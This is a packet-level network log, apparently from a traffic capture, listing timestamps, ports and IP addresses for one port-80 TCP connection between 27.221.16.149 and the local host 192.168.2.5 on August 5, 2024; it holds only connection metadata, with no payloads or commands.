Aug 5, 2024 12:00:04.480247021 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480266094 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480278969 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480313063 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480334997 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480343103 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480376005 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480396986 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480407000 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480438948 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480458975 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480469942 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480524063 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480547905 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480580091 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480609894 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480621099 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480644941 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.480658054 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.480689049 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.493545055 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493572950 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493590117 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493601084 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493611097 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493623972 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.493685007 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.493699074 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493710041 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493721008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493731976 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493742943 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493746042 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.493767023 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.493803978 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.493810892 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493824005 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493833065 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493844032 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493854046 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493863106 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.493884087 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.493921041 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.494255066 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494265079 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494275093 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494286060 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494318008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494329929 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494339943 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494379997 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494390011 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494402885 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494438887 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.494477987 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.494846106 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494858027 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494868040 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494899035 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.494910002 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494920015 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494930983 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494941950 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.494965076 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.495002031 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.495055914 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.495066881 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.495076895 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.495088100 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.495098114 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.495100975 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.495109081 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.495120049 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.495130062 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.495157957 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.495949984 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.495959997 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.495970011 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496002913 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496011019 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496021986 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496032953 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496042967 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496053934 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496057987 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496064901 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496076107 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496087074 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496097088 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496104956 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496131897 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496165037 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496176004 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496186018 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496196032 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496206045 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496237040 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496624947 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496670008 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496717930 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496727943 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496738911 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496747971 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496757030 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496768951 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496773958 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496825933 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496859074 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496870041 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496880054 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496896029 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496906042 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496916056 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496926069 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496927977 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496937990 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496937990 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496949911 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.496968985 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.496993065 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.497060061 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497113943 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.497642994 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497653961 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497669935 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497679949 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497689009 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497699022 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497701883 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.497709990 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497720003 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497730017 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497745037 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.497796059 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497807026 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497816086 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497823954 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.497826099 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497838020 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497848034 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497848988 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.497859001 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497869015 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.497878075 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.497900009 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501245975 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501262903 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501274109 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501301050 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501332045 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501342058 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501344919 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501358986 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501370907 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501380920 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501383066 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501391888 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501446962 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501478910 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501492023 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501501083 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501522064 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501530886 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501533031 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501534939 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501534939 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501580954 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501599073 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501609087 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501610994 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501652002 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501739025 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501754999 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501765013 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501775026 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501785040 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501795053 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501837015 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501871109 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.501915932 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501926899 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501935959 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501945972 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501955986 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501967907 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501979113 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.501981020 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502012014 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502269030 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502279043 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502289057 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502322912 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502357006 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502389908 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502401114 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502414942 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502424002 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502434969 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502460003 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502491951 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502517939 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502528906 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502538919 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502547979 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502558947 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502567053 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502568007 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502614975 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502623081 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502635002 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502645016 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502655029 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502664089 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502665997 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.502712965 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.502712965 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.503113985 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.503166914 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.544399977 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.544449091 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.544500113 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.544502020 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.544552088 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.544586897 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.544773102 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.598177910 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.844877005 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.844950914 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845068932 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845076084 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845129967 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845199108 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845206022 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845211983 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845223904 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845233917 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845251083 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845261097 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845271111 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845271111 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845277071 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845288038 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845299006 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845309019 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845319986 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845328093 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845338106 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845339060 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845371008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845381021 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845386982 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845388889 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845391989 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845410109 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845417023 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845422029 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845432997 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845443964 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845448971 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845454931 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845468044 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845479012 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845480919 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845513105 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845541954 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845552921 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845693111 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845735073 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845767975 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845779896 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845789909 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845801115 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845829010 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845830917 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845871925 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845916033 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845926046 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845932961 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845943928 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845954895 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845966101 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.845973969 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.845978022 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846009016 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.846025944 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.846158028 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846169949 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846179008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846190929 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846200943 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846204996 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.846213102 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846223116 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846230030 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.846260071 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.846894026 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846931934 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.846946001 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847021103 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847031116 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847043037 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847140074 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847151995 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847162008 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847172976 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847172022 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847172976 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847184896 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847192049 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847223043 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847233057 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847235918 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847244978 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847254992 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847261906 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847266912 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847307920 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847371101 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847379923 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847389936 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847400904 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847412109 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847417116 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847423077 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847434044 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847441912 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847446918 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847460985 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847475052 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847501993 CEST	49766	80	192.168.2.5	27.221.16.149
Aug 5, 2024 12:00:04.847585917 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847595930 CEST	80	49766	27.221.16.149	192.168.2.5
Aug 5, 2024 12:00:04.847606897 CEST	80	49766	27.221.16.149	192.168.2.5
